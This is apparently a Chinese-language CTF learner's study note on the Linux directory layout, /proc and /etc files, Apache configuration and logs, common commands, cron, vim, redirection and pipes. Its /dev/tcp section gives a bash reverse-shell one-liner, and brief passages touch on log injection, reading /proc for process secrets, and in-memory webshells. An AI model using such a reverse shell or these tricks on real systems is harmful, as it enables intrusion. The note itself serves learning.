linux介绍
Linux,全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,其内核由林纳斯·本纳第克特·托瓦兹于1991年10月5日首次发布,它主要受到Minix和Unix思想的启发,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的Unix工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。Linux有上百种不同的发行版,如基于社区开发的debian、archlinux,和基于商业开发的Red Hat Enterprise Linux、SUSE、Oracle Linux等。
主要用于服务器端,嵌入式开发(占用内存少)
文件系统的层次结构
文件系统的最顶层是由根目录开始的,系统使用“**/”来表示根目录**,在根目录之下的既可以是目录,也可以是文件,而每一个目录中又可以包含(子)目录或文件。如此反复就可以构成一个庞大的文件系统。
为了避免诸多Linux发行版使用各部相同的文件系统结构,Linux基金会发布了FHS标准,多数Linux发行版系统都遵循这一标准。
FHS认为根目录(/)下应该包含如下子目录
(官方)
目录
应放置档案内容
/bin
系统有很多放置执行档的目录,但/bin比较特殊。因为/bin放置的是在单人维护模式下还能够被操作的指令。在/bin底下的指令可以被root与一般帐号所使用,主要有:cat,chmod(修改权限), chown, date, mv, mkdir, cp, bash等等常用的指令。
/boot
主要放置开机会使用到的档案,包括Linux核心档案以及开机选单与开机所需设定档等等。Linux kernel常用的档名为:vmlinuz ,如果使用的是grub这个开机管理程式,则还会存在/boot/grub/这个目录。
/dev
(device)在Linux系统上,任何装置与周边设备都是以档案的型态存在于这个目录当中。 只要通过存取这个目录下的某个档案,就等于存取某个装置。比要重要的档案有/dev/null, /dev/zero, /dev/tty , /dev/lp_, / dev/hd_, /dev/sd*等等
/etc***
系统主要的设定档几乎都放置在这个目录内,例如人员的帐号密码档、各种服务的启始档等等。 一般来说,这个目录下的各档案属性是可以让一般使用者查阅的,但是只有root有权力修改。 FHS建议不要放置可执行档(binary)在这个目录中。 比较重要的档案有:/etc/inittab, /etc/init.d/, /etc/modprobe.conf, /etc/X11/, /etc/fstab, /etc/sysconfig/等等。 另外,其下重要的目录有:**/etc/init.d/** :所有服务的预设启动script都是放在这里的,例如要启动或者关闭iptables的话: /etc/init.d/iptables start、/etc/init.d/ iptables stop /etc/xinetd.d/ :这就是所谓的super daemon管理的各项服务的设定档目录。 /etc/X11/ :与X Window有关的各种设定档都在这里,尤其是xorg.conf或XF86Config这两个X Server的设定档。(配置信息)
/home
这是系统预设的使用者家目录(home directory)。 在你新增一个一般使用者帐号时,预设的使用者家目录都会规范到这里来。比较重要的是,家目录有两种代号: ~ :代表当前使用者的家目录,而 ~guest:则代表用户名为guest的家目录。
/lib
系统的函式库非常的多,而/lib放置的则是在开机时会用到的函式库,以及在/bin或/sbin底下的指令会呼叫的函式库而已 。 什么是函式库呢?妳可以将他想成是外挂,某些指令必须要有这些外挂才能够顺利完成程式的执行之意。 尤其重要的是/lib/modules/这个目录,因为该目录会放置核心相关的模组(驱动程式)。
/media
media是媒体的英文,顾名思义,这个/media底下放置的就是可移除的装置。 包括软碟、光碟、DVD等等装置都暂时挂载于此。 常见的档名有:/media/floppy, /media/cdrom等等。
/mnt
如果妳想要暂时挂载某些额外的装置,一般建议妳可以放置到这个目录中。在古早时候,这个目录的用途与/media相同啦。 只是有了/media之后,这个目录就用来暂时挂载用了。
/opt
这个是给第三方协力软体放置的目录 。 什么是第三方协力软体啊?举例来说,KDE这个桌面管理系统是一个独立的计画,不过他可以安装到Linux系统中,因此KDE的软体就建议放置到此目录下了。 另外,如果你想要自行安装额外的软体(非原本的distribution提供的),那么也能够将你的软体安装到这里来。 不过,以前的Linux系统中,我们还是习惯放置在/usr/local目录下。
/root
系统管理员(root)的家目录。 之所以放在这里,是因为如果进入单人维护模式而仅挂载根目录时,该目录就能够拥有root的家目录,所以我们会希望root的家目录与根目录放置在同一个分区中。
/sbin
Linux有非常多指令是用来设定系统环境的,这些指令只有root才能够利用来设定系统,其他使用者最多只能用来查询而已。放在/sbin底下的为开机过程中所需要的,里面包括了开机、修复、还原系统所需要的指令。至于某些伺服器软体程式,一般则放置到**/usr/sbin/当中。至于本机自行安装的软体所产生的系统执行档(system binary),则放置到/usr/local/sbin/**当中了。常见的指令包括:fdisk, fsck, ifconfig, init, mkfs等等。
/srv
srv可以视为service的缩写,是一些网路服务启动之后,这些服务所需要取用的资料目录。 常见的服务例如WWW, FTP等等。 举例来说,WWW伺服器需要的网页资料就可以放置在/srv/www/里面。呵呵,看来平时我们编写的代码应该放到这里了。
/tmp
这是让一般使用者或者是正在执行的程序暂时放置档案的地方。这个目录是任何人都能够存取的,所以你需要定期的清理一下。当然,重要资料不可放置在此目录啊。 因为FHS甚至建议在开机时,应该要将/tmp下的资料都删除。
还有下面这些
/lost+found
这个目录是使用标准的ext2/ext3档案系统格式才会产生的一个目录,目的在于当档案系统发生错误时,将一些遗失的片段放置到这个目录下。 这个目录通常会在分割槽的最顶层存在,例如你加装一个硬盘于/disk中,那在这个系统下就会自动产生一个这样的目录/disk/lost+found
/proc
这个目录本身是一个虚拟文件系统(virtual filesystem)喔。 他放置的资料都是在内存当中,例如系统核心、行程资讯(process)(是进程吗?)、周边装置的状态及网络状态等等。因为这个目录下的资料都是在记忆体(内存)当中,所以本身不占任何硬盘空间。比较重要的档案(目录)例如: /proc/cpuinfo, /proc/dma, /proc/interrupts, /proc/ioports, /proc/net/*等等。呵呵,是虚拟内存吗[guest]?
/sys
这个目录其实跟/proc非常类似,也是一个虚拟的档案系统,主要也是记录与核心相关的资讯。 包括目前已载入的核心模组与核心侦测到的硬体装置资讯等等。 这个目录同样不占硬盘容量。
推荐博客
https://www.cnblogs.com/silence-hust/p/4319415.html
目录解析
文件
文件类型
1 | [d] -> directory 目录 |
权限
1 | r -> 读权限 值:4 |
根目录下所有目录
/bin
bin是binary的缩写,这个目录存放的都是二进制可执行文件,bin目录放置的是最基本的一些命令的可执行文件,比如cp、mv、mkdir、chmod、chown等等。/usr下面也有一个/bin目录,它里面的文件也是一些命令的可执行文件。
bin下存放一些普通的基本命令,如ls,chmod等,这些命令在Linux系统里的配置文件脚本里经常用到。也就是主要放置一些系统的必备执行档
/sbin
s是super user,也就管理员。这个目录和/bin目录很像,也存放着一些程序,不过有些程序需要变成管理员才能执行。主要还是放置一些系统管理的必备程式
/sbin 下的命令属于基本的系统命令,如shutdown,reboot,用于启动系统,修复系统
/etc ***
这个目录用来存放所有的系统管理所需要的配置文件和子目录
/home
用户的主目录,在linux中,每个用户都有一个自己的目录,一般该目录是以用户的账号命名的
/lib
这个目录里面存放着系统最基本的动态连接共享库,其作用类似于Windows里的DLL文件。几乎所有的应用程序都需要用到这些共享库。
/lost+found
这个目录一般情况下是空的,当系统非法关机后,这里就存放了一些文件。
/media
linux系统会自动识别一些设备,例如U盘,光驱等等,当识别后,linux会把识别的设备挂载到这个目录下。
/mnt
系统提供该目录是为了让用户临时挂载别的文件系统的,我们可以将光驱挂载在/mnt/上,然后进入该目录就可以查看光驱里的内容了。
/opt ***
这个给主机额外安装软件所摆放的目录。比如安装一个oracle数据库就可以放到这个目录下。默认是空的。
/proc
这个目录是一个虚拟目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。这个目录的内容不在硬盘上而是在内存里
/root
该目录为系统管理员,也称作超级权限者的用户主目录
/selinux
这个目录是Redhat/centOS所特有的目录,selinux是一个安全机制,类似于Windows的防火墙,但是这套机制比较复杂,这个目录就是存放selinux相关的文件的。
/srv
该目录存放一些服务启动之后需要提取的数据
/sys
这是Linux2.6内核的一个很大的变化。该目录下安装了2.6内核中新出现的一个文件系统sysfs
/tmp
这个目录只用来存放一些临时文件的。
/usr
用户的很多应用程序和文件都放在这个目录下,类似于Windows下的program files目录。
/usr/bin
系统用户使用的应用程序
/usr/bin存放一些用户命令。
是你在后期安装的一些软件的运行脚本。主要放置一些应用软体工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome_、 gzip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb_、wget等。
/usr/sbin
超级用户使用的比较高级的管理员程序和系统守护系统。 /usr/sbin存放的一些非必须的系统命令
放置一些用户安装的系统管理的必备程式例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等。
/usr/src
内核源码默认的放置位置
/var ***
这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件
重要目录
/proc
文件系统
一种文件系统,一种伪文件系统(也即虚拟文件系统)伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统是动态从系统内核读出所需信息并提交的
用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
还有的是一些以数字命名的目录,它们是进程目录(一个目录就是一个进程)。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link。
各种目录
/proc/cmdline
载入 kernel 时所下达的相关指令与参数!查阅此文件,可了解指令是如何启动的!
例如:pythonloader.pyc 中间空格被省略掉了,用readline能查看完整的。 此语句意思是用python运行loader.pyc
/proc/N/environ
进程环境变量列表(有些时候一些CTF题会吧重要变量或者值存放在这个目录下)
/proc/N/exe
exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径
/proc/maps
当前进程关联到的每个可执行文件和库文件在内存中的映射区域及其访问权限所组成的列表
找到/app后的文件:app.cpython-39-x86_64-linux-gnu.so
特殊格式: .so结尾,有版本号信息
/proc/N/fd
包含进程相关的所有的文件描述符
/proc/cpuinfo
本机的 CPU 的相关信息,包含频率、类型与运算功能等
/proc/modules
目前我们的 Linux 已经载入的模块列表,也可以想成是驱动程序啦!
/proc/fb
帧缓冲设备列表,包括数量和控制它的驱动
/proc/stat
系统的一些状态信息,所有的CPU活动信息
/proc/N/cwd
cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录
e.g: app.cpython-39-x86_64-linux-gnu.so
cat /proc/N/cwd/filename
打开进程当前运行文件
/etc
1 | #这个目录用来存放所有的系统管理所需要的配置文件和子目录 |
/etc/passwd
用户数据库,其中的域给出了用户名、真实姓名、家目录、加密的口令和用户的其他信息.
每行用户信息都以**”:”**作为分隔符,划分为7个字段。
如下图各个字段含义:
1 | "x":表示此用户设有密码,但不是真正的密码,真正的密码保存在/etc/shadow文件。 |
/etc/shells
列出可信任的shell.chsh 命令允许用户在本文件指定范围内改变登录shell.提供一台机器FTP服务的服务进程ftpd检查用户shell是否列在 /etc/shells 文件中,如果不是将不允许该用户登录.
1 | 功能:这个文件记录了你当前Linux系统中所支持的shell版本(只是其中的一部分,还有其他shell在别的路径下) |
(用的centos所以没有zsh)
不同的用户登录系统时,系统会给不同的默认shell版本。具体是什么可以在**/etc/passwd**中看shell一栏
shell
Shell是Linux/Unix的一个外壳,你理解成衣服也行。它负责外界与Linux内核的交互,接收用户或其他应用程序的命令,然后把这些命令转化成内核能理解的语言,传给内核,内核是真正干活的,干完之后再把结果返回用户或应用程序。
shell版本
1 | sh(Bourne shell):第一个流行的shell由Steven Bourne发展出来的 |
Bash shell的功能(dd)
1 | 概念:bash是Linux默认的shell,主要兼容与sh |
功能①:历史命令
1 | ~/.bash_history文件:bash记录了你曾经使用过的命令,不同的用户使用过的历史命令也不同,这些历史命令都记录在自己家目录下的.bash_history文件中 |
功能②:命令与文件补齐功能(tab键)
1 | Linux系统下tab键补齐功能十分好用 |
功能③:命令别名设置功能(alias)
1 | alias命令:这个命令可以给命令取别名 |
功能④:任务管理、前台、后台控制
1 | 任务管理的用途广泛,可以将人物丢到后台运行 |
功能⑤:程序化脚本(shell scripts)
1 | 从前DOS年代需要将一堆命令写在一起来形成批处理文件(编程语言书写) |
功能⑥:通配符*
1 | Linux使用*通配符,使用方便 |
/etc/group
类似/etc/passwd ,但说明的不是用户而是组.
1 | root: x : 0 : |
/etc/fstab
启动时mount -a命令(在/etc/rc 或等效的启动文件中)自动mount的文件系统列表.linux下,也包括用swapon -a启用的swap区的信息.
/etc/rc.d
进程
要弄懂这个文件首先要知道操作系统中进程的意思
1 | #狭义定义: |
内容
rc.d的内容如下: init.d/ :各种服务器和程序的二进制文件存放目录。 rc[x].d/: 各个启动级别的执行程序连接目录。里头的东西都是指向init.d/的一些软连接。具体的后边叙述。 还有三个脚本:rc.sysinit, rc, rc.local
CentOS目录(注意kali和centos目录结构略有不同,网上大多是centos的目录结构)
运行级别(run level)
Init进程是系统启动之后的第一个用户进程,所以它的pid(进程编号)始终为1。init进程上来首先做的事是去读取/etc/目录下inittab文件中initdefault id值,这个值称为运行级别(run-level)。它决定了系统启动之后运行于什么级别。运行级别决定了系统启动的绝大部分行为和目的。这个级别从0到6 ,具有不同的功能。不同的运行级定义如下:
1 | 0 - 停机(千万别把initdefault设置为0,否则系统永远无法启动) |
rc.d包含许多系统服务的启动和停止脚本。它控制着所有从 acpid 到 x11-common 的各种事务。
/etc/init.d
目录 /etc/init.d
是符号链接文件,实际上是链接到目录 /etc/rc.d/init.d
(kali系统下)init.d中的脚本文件:
1 | init.d里面放的都是什么东西?这个目录存放的是一些脚本,一般是linux以rpm包安装时设定的一些服务的启动脚本。系统在安装时装了好多rpm包,这里面就有很多对应的脚本。执行这些脚本可以用来启动,停止,重启这些服务。 |
放马
这个文件关于计划任务,这中间就存在一定的放马攻击。
内存马的3大特点 内存马的概念特性,除了隐蔽性、不易被察觉以外,其还有如下几个特点:1、内存马无逻辑结构边界,难以被发现。内存马仅存在于进程的内存空间中,通常与正常的/合法的代码、数据混淆。内存马与传统恶意代码的不同之处在于它没有磁盘文件,会导致传统的检测防护手段失效。2、内存马缺乏稳定的静态特征,难以被识别。内存马缺乏结构化的静态形式,它依附在进程运行期间的输入数据进入进程,数据可能被加密混淆,因此,无法通过特征识别内存马。3、 内存马种类多,检测机制复杂而多样。内存马有二进制代码片段(Shellcode)、PowerShell脚本、Web中间件等类型,每种类型又可细分,不同类型内存马的执行方式、恶意代码/行为触发机制各不相同。
/etc/shadow
用于存储 Linux 系统中用户的密码信息,被称为’影子文件‘
在安装了影子口令软件的系统上的影子口令文件.影子口令文件将/etc/passwd 文件中的加密口令移动到/etc/shadow中,而后者只对root可读.这使破译口令更困难.
1 | 每个字段含义: |
对于加密密码:
这里保存的是真正加密的密码。目前 Linux 的密码采用的是 SHA512 散列加密算法,原来采用的是 MD5 或 DES 加密算法。SHA512 散列加密算法的加密等级更高,也更加安全。
/etc/hosts
hosts文件是linux系统中负责ip地址与域名快速解析的文件(和Windows是一样的捏)
hosts文件包含了ip地址和主机名之间的映射,包括主机名的别名,在没有域名服务器的情况下,系统上的所有网络程序都通过查询该文件来解析对应于某个主机名的ip地址,否则就需要使用DNS服务程序来解决。通常可以将常用的域名和ip地址映射加入到hosts文件中,实现快速方便的访问 优先级:dns缓存>hosts>dns服务
格式
1 | ip地址 主机名/域名 (主机别名) |
web服务器重要文件
apache
1 | #/etc/apache2 |
1 | #/etc/apcche2/apache2.conf ->配置文件 |
apache2.conf是个主配置文件,当apache2服务器启动时,就将零散的配置文件以Including方式组合在一起。看到这,你就应该知道了,这个文件不是真正的具体配置文件,它只是把各个零散的配置文件以inluceding方式包含进来。apache2.conf其实就是负责调用其他配置文件的。
1 | #/etc/apche2/ports.conf ->端口配置 |
ports.cnf记录了服务器使用的端口号,默认监听Listen80,建立自己的网站需要在这里添加网站的端口号,否则无法访问。
<IfModule ssl_module> Listen 443 表示当ssl_module启动时,进行443端口的监听。
sites-enabled是apache2正在使用的网站配置文件,sites-available是apache2可用的网站配置文件。
enabled中只有一个000-default.conf快捷方式。availbel中有一个000-default.conf和default-ssl.conf两个文件。
000-default.conf是使用http协议网站的默认网站配置文件,而default-ss.conf是https协议网站才使用的默认网站配置文件。https还需要申请ssl证书。
1 | #/etc/apache2/sites-available/000-default.conf ->使用http协议网站的默认网站配置文件 |
ServerAdmin: 设置一个邮件地址,如果服务器有任何问题将发信到这个地址, 这个地址会在服务器产生的某些页面中出现。
DocumentRoot 是这个站点的根目录,这样 Apache2 启动时会扫描 /etc/apache2/sites-enabled 中可用的 website 配置并加载。
当用户访问localhost:80 时,Apache2 就将 default 站点根目录 /var/www/html 下的index.html(或 index.PHP 等,可配置)作为请求的回应返回给浏览器,然后你能欣赏到的就是 /var/www/html/index.html 这个文件的内容了。
1 | #/var/www/html -> 网站根目录 |
例如,/var/www/html/index.php
1 | # /var/log/apache2 -》日志文件 |
ip 时间 请求方式/请求资源 协议状态码 服务器向客户端发送的字节数 记录从哪个页面链接访问来的(非页面访问则为-) 客户浏览器信息(UA) (请求代理字符串)
日志注入(狭义):
1 | #中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息 |
补充:日志文件
推荐阅读:https://zhuanlan.zhihu.com/p/298335887
作用
1 | 日志文件用于记录linux系统的各种运行信息的文件,相当于linux主机的日记,不同的日志文件记载了不同类型的信息,如Linux内核消息、用户登录事件、程序错误等。. 日志文件对于诊断和解决问题很有帮助,因为linux运行的程序通常把系统的消息和错误写入对应的日志文件,这样系统可以有据可查, 此外,当主机遭受攻击时,日志文件还可以帮助寻找攻击者留下的痕迹。 |
Linux系统本身和大部分服务器程序的日志文件默认放在/var/log/下
用户日志:
存放位置: /var/og/wtmp. /var/log/btmp、 /var/log/lastlog
查询命令: users、who、w、last、 lastlog、 lastb等
1 | users命令:只是简单的输出当前登录的用户名, 每个显示的用户名对应一个会话。 |
windows系统下的apache日志目录
nginx(dd)
命令
常见命令
1 | ls:列出目录 {ls -l -》 ll} |
查看当前用户
1 | whoami |
查看ip等信息
1 | ifcinfig //查询和配置网络接口 |
显示当前位置路径
1 | pwd //显示当前位置路径 |
find
1 | find . -name "*.c" //将目前目录及其子目录下所有延伸档名是 c 的文件列出来 |
1 | 参数说明 : |
系统信息(*)
1 | uname -a //可以显示一些重要的系统信息,例如内核名称、主机名、内核版本号、处理器类型之类的信息 |
解压缩命令
1 | # 压缩文件 file1 或目录 dir2 到 test.tar.gz |
参数
1 | -z -> 使用 gzip 来压缩和解压文件 |
计划任务(dd)
计划任务主要分为以下两种使用情况:
1 | 1.系统级别的定时任务: 临时文件清理、系统信息采集、日志文件切割 |
crontab是Linux用来定期执行程序的命令。
crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。
1 | crond主要是做一些周期性的任务,比如: 凌晨3点定时备份数据。比如:11点开启网站抢购接口,12点关闭网站抢购接口。 |
注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行
vim编辑
基本上 vi/vim 共分为三种模式,分别是命令模式(Command mode),输入模式(Insert mode)和底线命令模式(Last line mode)。
命令模式
用户刚刚启动 vi/vim,便进入了命令模式。此状态下敲击键盘动作会被Vim识别为命令,而非输入字符。
常见命令
- i 切换到输入模式,以输入字符。
- x 删除当前光标所在处的字符。
- : 切换到底线命令模式,以在最底一行输入命令。
- 若要编辑文本,进入命令模式后,按下i,切换到输入模式
输入模式
- 字符按键以及Shift组合,输入字符
- ENTER,回车键,换行
- BACK SPACE,退格键,删除光标前一个字符
- ESC,退出输入模式,切换到命令模式
编辑文本主要是现在这个模式,vim比vi升级很多,基本上编辑和一般的文本编辑差不多
底线命令模式
在命令模式下按下:(英文冒号)就进入了底线命令模式
常用命令(忽略冒号)
q
:退出程序
w
:保存文件
一般编辑过后直接 :wq 然后回车
按ESC键可随时退出底线命令模式
重定向
1 | 重定向(Redirect)就是通过各种方法将各种网络请求重新定个方向转到其它位置(如:网页重定向、域名的重定向、路由选择的变化也是对数据报文经由路径的一种重定向)。 |
重定向 HTTP 状态码
和重定向有关的 HTTP 状态码主要是 301、302、303、307、308,最常用的是 301 和 302,可以看看 MDN 官方对它们的解释。
301 是永久重定向(Moved Permanently)说明请求的资源已经被 永久 移动到了由 Location 头部指定的 url 上,是固定的不会再改变,搜索引擎会根据该响应修正。
而 302 是暂时性转移(Moved Temporarily,或者 Found),表明请求的资源被 暂时 移动到了由 Location 头部指定的 URL 上。浏览器会重定向到这个 URL, 但是搜索引擎不会对该资源的链接进行更新。
虽然 301 和 302 都能够将用户输入的网址 A, 改为重定向后的网址 B,但他们还是有区别的:
- 搜索引擎区别:301 表示原地址 A 的资源已被移除,永远无法访问,搜索引擎抓内容时会将网址 A 全部替换为 B;而 302 表示网址 A 还活着,搜索引擎会在抓取网址 B 新内容的同时,保留网址 A 的记录。
- 安全性:302 跳转有网站劫持的风险,导致网站被盗用。
在CTF中,重定向考点在于服务器对有flag的网页进行重定向而无法显示flag。
解决办法是使用curl命令(curl命令默认不强制重定向)
1 | #curl是一种命令行工具,作用是发出网络请求,然后得到和提取数据。 |
linux中重定向
重定向指用户用文件代替标准输入,标准输出,标准错误输出
注:Linux 中标准的输入设备默认指的是键盘,标准的输出设备默认指的是显示器。
方式
代码
运算符
标准输入(stdin)
0
< or <<
标准输出(stdout)
1
> or >>
标准错误输出(stderr)
2
2> or 2<
输入重定向
1 | #{ 默认情况下,cat 命令会接受标准输入设备(键盘)的输入,并显示到控制台,但如果用文件代替键盘作为输入设备,那么该命令会以指定的文件作为输入设备,并将文件中的内容读取并显示到控制台。 } |
输出重定向
相较于输入重定向,我们使用输出重定向的频率更高。并且,和输入重定向不同的是,输出重定向还可以细分为标准输出重定向和错误输出重定向两种技术。
在此基础上,标准输出重定向和错误输出重定向又分别包含清空写入和追加写入两种模式。因此,对于输出重定向来说,其需要用到的符号以及作用如图。
命令符号格式
作用
命令 > 文件
将命令执行的标准输出结果重定向输出到指定的文件中,如果该文件已包含数据,会清空原有数据,再写入新数据。
命令 2> 文件
将命令执行的错误输出结果重定向到指定的文件中,如果该文件中已包含数据,会清空原有数据,再写入新数据。
命令 >> 文件
将命令执行的标准输出结果重定向输出到指定的文件中,如果该文件已包含数据,新数据将写入到原有内容的后面。
命令 2>> 文件
将命令执行的错误输出结果重定向到指定的文件中,如果该文件中已包含数据,新数据将写入到原有内容的后面。
命令 >> 文件 2>&1 或者 命令 &>> 文件
将标准输出或者错误输出写入到指定文件,如果该文件中已包含数据,新数据将写入到原有内容的后面。注意,第一种格式中,最后的 2>&1 是一体的,可以认为是固定写法。
linux重定向中&>
和>&
是一个意思,是“复制一个文件描述符”的意思。
特殊文件: /dev/tcp(dd)
/dev/tcp不是磁盘里的文件,而是bash的一个功能
1 | 反弹shell命令:bash -i >& /dev/tcp/ip/port 0>&1 |
linux中的一个特殊文件: /dev/tcp ,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
/dev/[tcpupd]/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口。如果主机以及端口存在,就建立一个socket 连接。将在,/proc/self/fd目录下面,有对应的文件出现。
管道符
命令连接符
注意这里连接符的 跟管道符 不一样
管道符 详解
管道符也是一种重定向操作符。
作用
管道符主要用于多重命令处理,前面命令的打印结果作为后面命令的输入。简单点说就是,就像工厂的流水线一样,进行完一道工序后,继续传送给下一道工序处理…
用法
使用管道操作符“”可以把一个命令的标准输出传送到另一个命令的标准输入中,连续的意味着第一个命令的输出为第二个命令的输入,第二个命令的输入为第一个命令的输出,依次类推。
最常用的就是配合grep来使用:
ps -ef grep pycharm
ps是进程查看命令,其中-e为显示所有进程,-f为全格式显示。
grep是一个非常高效的查询工具,可以查询文本中带有某关键字的行。
这个命令的功能是,查询带有关键字 pycharm 的进程。会一条一条列出。
但不是所有的命令都能搭配管道符:
1 | 例如cat、sort、uniq、grep等命令均支持管道符,是因为这些命令均可从标准输入中读取要处理的文本(即从标准输入中读取参数);而对于部分命令,例如rm、kill等命令则不支持从标准输入中读取参数,只支持从命令行中读取参数(即rm命令后面必须指定删除的文件或者目录,kill命令后面必须要指定杀死的进程号等) |